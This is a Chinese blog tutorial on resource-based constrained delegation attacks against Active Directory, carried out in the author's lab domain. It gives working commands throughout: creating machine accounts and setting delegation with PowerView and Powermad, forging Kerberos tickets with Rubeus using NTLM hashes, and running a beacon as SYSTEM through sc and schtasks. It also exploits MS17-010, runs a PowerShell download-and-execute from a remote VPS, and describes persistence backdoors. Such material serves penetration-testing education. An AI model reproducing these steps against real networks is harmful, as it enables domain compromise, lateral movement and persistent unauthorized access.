域内攻击--->基于资源的约束委派(RBCD)

不同于约束和非约束委派,基于资源的约束性委派可以就难的多了!! 前方高能 ,准备上车!!

                 

目录

1.基于资源的约束性委派(RBCD)

2.谁能设置RBCD

3.机器入域账号的普及

4.域树的搭建

5.配置RBCD

6.通过域创建机器进行RBCD攻击

7.通过使用本机机器进行RBCD攻击

8.通过横向RBCD的用户进行攻击

9.RBCD的作用


1.基于资源的约束性委派(RBCD)

对于基于资源的约束性委派,可以说和非约束性委派和约束性委派都有一定的相似之处,为什么这么说呢,看下去你就明白了!!

基于资源的约束性委派攻击:(Resources Based Constricted Delegation ,RBCD)如果我们能够在受害者B上配置允许服务A的基于资源的约束性委派,那么可以通过控制服务A使用S4uSelf协议向域控请求任意用户访问自身的ST,最后再使用S4u2Proxy协议转发此ST去请求访问服务B的可转发ST,我们就可以模拟任意用户访问服务B了。

感觉没听懂?         没关系,我来用人话解释一下

不同于约束性委派,基于资源的约束性委派不算是一种被动委派,而是一种主动委派。什么意思呢? 对比起约束性委派,文件系统的cifs服务是又域控委派给web系统的,但是在RBCD中,Web系统能访问文件系统的cifs服务是由文件系统自己委派给他的!!!!

2.谁能设置RBCD

以下这么几种人能够设置RBCD

3.机器入域账号的普及

当我们将一台机器加入到域内的时候,我们肯定会弹出这么一个框架,这时候我们一般都是输入到的域馆的账号密码,但其实!!! 我们也是可以输入一个域内的普通账户的!!!!

我们来做一个实验

首先我们有一个域内的账户 liukaifeng01 并不属于管理员组。

它的sid是以1000结尾的!!  然后我们再去找一台电脑

于是,我们还知道,一个域内的普通账户,默认可以创建10台机器账户!!(这个后面大有用处)

4.域树的搭建

其实这个域树的搭建和RBCD没有什么直接的关系,但是!! RBCD的前提就是域控必须是Server2012及以上,但是我的god的域刚好的2008的,又恰好后面我们要讲跨域攻击,那么就刚好现在一同搭建了!!

我们的目的就是在原域控的情况下搭建一个hack.god.org的域树

    首先去准备我们的对应的机器!!!

然后我们去给Server2012安装对应的AD

然后一直下一步,开始安装

然后就是去升级了

在入域之前,记得配好指向域控的网卡

然后就下面这一步可谓是至关重要,不能写错一点啊(不然就会失败)

然后后面就是疯狂的进行下一步了,最后他会进行重启!!

能看见这样,就能说明我们已经搭建好了子域的域控,下一步就是将Server2016加入到子域了

   将dns指向子域的域控

   然后将这个SEC机器加到子域内

然后我们去子域控上创建一个用户,让2016能登录进去

然后我们最后用下面这命令去查看一下

ipconfig  /all

能看见这个,就说明我们的域环境已经搭建成功了!!! 

5.配置RBCD

现在域内有三台电脑


  • 域控Winserver2012
  • 域内主机Winserver2016
  • 域内主机Win10

其中Win10是以Winserver的sec用户加入到域的,那么我们就能用sec这个账号给Win10这台机器配置RBCD,我们先来验证一下

首先,我们这台SEC的用户的sid如下

然后我们再去域控查询Win10电脑的委派的sid,果然sid是一模一样的

然后我们给这台Win10机器设置RBCD

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3016729343-1492099483-2872154937-1106)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DESKTOP-LQVIT68.rce.org | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

ok,成功设置RBCD 

其实这里的命令要改的就两个点

  • 一个sid指的是你创建机器的SID或者当前机器的SID(能拿到当前机器的NTLM哈希)
  • 然后get-domaincompu那里是指允许配置RBCD的受害者机器

6.通过域创建机器进行RBCD攻击

然后假装我们现在拿到了一台域内机器


然后我们去查看一下域内的机器分别都是以什么用户加入的(需要当前用户的账号密码)

AdFind.exe -u sec -up admin@123 -b "DC=rce,DC=org" -f "objectClass=computer" mS-DS-CreatorSID

发现了域内有四台机器,其中SUBDC和SEC都是以管理员加入的,这种就没戏了,但是Win7和另外一台电脑却是以另外一个用户加入的,于是我们就去查查是哪一个用户

shell sid2user.exe \\192.168.111.138  5 21 3016729343 1492099483 2872154937 1106

发现是sec用户 

并且正好,我们控制的这一台电脑的当前用户就是sec

    

所以,我们是可以拿下WIN7$和DESKTOP-LQVIT68$这两台机器的,然后我们先横向到DESKTOP-LQVIT68$这台电脑

powershell-import Powermad.ps1
powershell Set-ExecutionPolicy Bypass -Scope Process | New-MachineAccount -MachineAccount god -Password $(ConvertTo-SecureString "admin@123" -AsPlainText -Force)

通过上面这个脚本,我们可以创建一台计算机,名为GOD,密码是admin@123

然后去查看一下机器是否创建成功

shell net groups "Domain Computers" /domain

可以看见多了一个机器账号 

然后,正如我们前面所说,创建机器的委派sid和创建的用户是相同的

这是我们刚创建的机器委派的sid

然后我们再去看我们创建机器的账号的sid,肯定是一样的

然后我们就要去获取这个机器的SID(不是委派sid),这里需要你传一个powerview脚本,或者你也可以再CS直接导入,达到无文件落地的效果

powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainComputer -Identity god -Properties objectsid}"

然后就是给这个台GOD机器设置RBCD

powershell-import PowerView.ps1   //无文件落地
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3016729343-1492099483-2872154937-1115)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer DESKTOP-LQVIT68 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

然后我们去查

shell AdFind.exe -b "DC=rce,DC=org" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn

成功配置 

然后我们就是可以进行横向移动了

Rubeus.exe s4u /user:机器名 /rc4:创建机器的密码  /domain:rce.org  /msdsspn:cifs/受害机器  /impersonateuser:administrator /ptt
Rubeus.exe s4u /user:god$  /rc4:579DA618CFBFA85247ACF1F800A280A4  /domain:rce.org  /msdsspn:cifs/DESKTOP-LQVIT68.rce.org  /impersonateuser:administrator /ptt

这个rc4密码最好找一个在线生成密码的网站

在攻击之前,我们先清一下票

shell klist purge
mimikatz kerberos::purge

然后在攻击之前,我们是肯定不能看别人的东西的

然后我们直接PTT攻击

这时候,我们再去看内存中的票据

然后我们再去访问,包能看到的

然后我们把🐎传上去

然后接下来就要问你们了,我们现在能不能运行计划任务或者服务???

包不行的啊!! RBCD其实也有点像约束性委派,也有点像白银票据!!!

我们这是什么票???? CIFS ! 怎么可能可以运行计划任务或者服务 ???

所以我们要去再申请一张host的票据

Rubeus.exe s4u /user:god$ /rc4:579DA618CFBFA85247ACF1F800A280A4 /impersonateuser:administrator /msdsspn:host/DESKTOP-LQVIT68 /ptt

这样,我们的内存就有两张票了!!!!  

然后接下来就是愉快的进行横线移动了 !!

shell sc \\DESKTOP-LQVIT68 create getshell binpath= "cmd.exe /c c:\cs.exe"
shell sc \\DESKTOP-LQVIT68 start getshell

 看到没,直接以system权限上线!!!

包高的,这个权限!!!

7.通过使用本机机器进行RBCD攻击

有人就会说了,我还要创建一个账号,麻烦死了,能不能直接用本机机器账号呢??? 

那包可以的!!                

首先还是我们上面的情景,然后我们直接查询本机的sid

powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainComputer -Identity 机器名字 -Properties objectsid}"

然后我们抓一下本机账号的密码(这一步需要提权,这就是为什么我先讲创建机器账户,因为有的时候我们提不上来)  但是不重要,这个方法本质·上是可以的,来掩饰一下!!

假设我们提上来了,并且抓到了密码

db09d063eafb6f737ab67e1022f19662

然后配置委派

powershell-import Powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3016729343-1492099483-2872154937-1107)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer DESKTOP-LQVIT68 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

设置成功,查看一下先

AdFind.exe -b "DC=rce,DC=org" -f "(&(samAccountType=805306369)(msDS-AllowedToActOnBehalfOfOtherIdentity=*))" -dn

okay,目前看起来一切顺利 !!!,然后就是去请求票据,在请求之前,肯定是看不了的

然后直接伪造

Rubeus.exe s4u /user:SEC$ /rc4:db09d063eafb6f737ab67e1022f19662 /impersonateuser:administrator /msdsspn:cifs/DESKTOP-LQVIT68 /ptt

然后再去看一下

包能看到的,最后再去伪造一张host的票

然后这次,我选择用计划任务横向移动 !!

copy cs.exe \\DESKTOP-LQVIT68\c$
schtasks /create /s DESKTOP-LQVIT68 /tn getshell /sc onstart /tr c:\cs.exe /ru system /f
schtasks /run /s  DESKTOP-LQVIT68 /i /tn "getshell"

包上线的!!!! 

8.通过横向RBCD的用户进行攻击

以上的两种情况,可以说是最理想化了,直接拿到了RBCD的账号,但是很多时候我们都是不会直接拿到这个账号的?? 那怎么办呢??

  • Kerberoasting(这个我后面讲)
  • asq roasting
  • 密码喷洒
  • 横向移动(pth,ptk,ptt,dcom,wimrm)那些
  • 漏洞!!(MS17010)

那么这次我就拿MS17010来演示一下

首先拿到了一个用户,然后查询

shell AdFind.exe -b "DC=rce,DC=org" -f "(&(samAccountType=805306369))" cn mS-DS-CreatorSID

发现两个可操作主机,然后反查

AdFind.exe -sc adsid:S-1-5-21-3016729343-1492099483-2872154937-1106 -dn
AdFind.exe -sc adsid:S-1-5-21-3016729343-1492099483-2872154937-1108 -dn

分别查出是sec账户和win7账户 

sec是我们当前的用户,可以操作,但是这标题是横向到RBCD的用户,所以我们就要想办法横向到Win7账户登录的机器上面去

怎么知道Win7在哪一台机器上登录呢??? 这就需要到内网信息收集工具netview啦!!

shell netview.exe -d

成功获得ip,然后我们扫描一下 

通过fscan,我们发现对方存在永恒之蓝!!!

然后我们把他上线到CS!!

但是我咋感觉这个插件不太好用,直接把别人打关机了(无敌了),换个插件再试试

欸~~~~~ 换了个插件还是很舒服的!!! 然后就是常规步骤了,先去看看能给谁设置委派

然后你就会发现,用system用户的权限查询的到的结果和普通用户查询结果是不一样的,这个时候我们就要降权 !!!!

这时候我们就先去抓一下密码!!

然后我们用lsrunase.exe和他对应的加密工具操作

  先加密,然后再去传工具

然后执行下面这个命令

shell lsrunase.exe  /user:win7 /password:5VB+iOQH7araqPPoHYU=  /command:powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://公网vps/powershell.ps1'))" /runpath:c:  /domain:rce.org

本来想无文件的,但是发现 。。。。难崩

那就只能用最简单的计划任务了!!!

schtasks /create /s 192.168.111.132 /tn shell /sc onstart /tr C:\Users\win7\Desktop\cs.exe /ru win7 /f
schtasks /run /s 192.168.111.132 /i /tn "shell"

然后就更牛魔了!!   有点恐怖的兄弟 灾难性故障

但是最后在网上又搜到了一篇文章 ,这个思路就很猎奇新奇

shell explorer.exe C:\Users\win7\Desktop\cs.exe

用explorer去启动,欸~~!! 还真的成功了!!

至此,我们就成功的拿到了权限不同的两个账户了!!!! 然后我们再去执行查询

发现我们当前机器没有对任何机器设置过委派(WIN7是被指定的委派,不要搞混了)

所以我们就可以用上面的随便一种方法都可以!!! 先去查当前Win7的SID

powershell.exe -exec bypass -Command "& {Import-Module .\PowerView.ps1;Get-DomainComputer -Identity win7 -Properties objectsid}"

查出来了,然后直接将hack这台机器用户指定为当前机器的RBCD

powershell-import Powerview.ps1
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3016729343-1492099483-2872154937-1111)";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer DESKTOP-LQVIT68 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

然后发现没反应 

说明可能是禁止了powershell执行脚本!! 我们需要手动开启

set-ExecutionPolicy RemoteSigned

但是还是发现无法执行,很难搞

难道是版本问题?? 我们尝试一下创建机器用户

然后查他的sid

再去设置委派!!!

powershell.exe -exec bypass -Command "Import-Module .\PowerView.ps1;$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList \"O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-3016729343-1492099483-2872154937-1117)\";$SDBytes = New-Object byte[] ($SD.BinaryLength);$SD.GetBinaryForm($SDBytes, 0);Get-DomainComputer DESKTOP-LQVIT68 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose"

然后就难受了,配置不成功,可能是我的机器的问题,你们可以多去试试,试试server什么的!

9.RBCD的作用

  • 权限维持,还记不记得我们说过SYSTEM权限可以给本机创建RBCD的权限!!那么我们当拿到一台机器之后,就可以提权到SYSTEM,然后做一个RBCD的后门(让他指向一台你创建的后门机器!!!)
  • 横向移动,不过这个一般横向不到域管理员,(除非你是account operator这个账户的用户),否则是不能进行横向到域馆的!!!
  • 拿下域控,这个就要研究的比较深了,网上也有很多对应的文章,可以自己去研究一下,我后续也会更(不过这就是很后面的事情了)

以上,就是RBCD的大致利用和内容了!!! 这个比较难理解,而且是只看文字的话,可以反复揣测一下!!

   

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值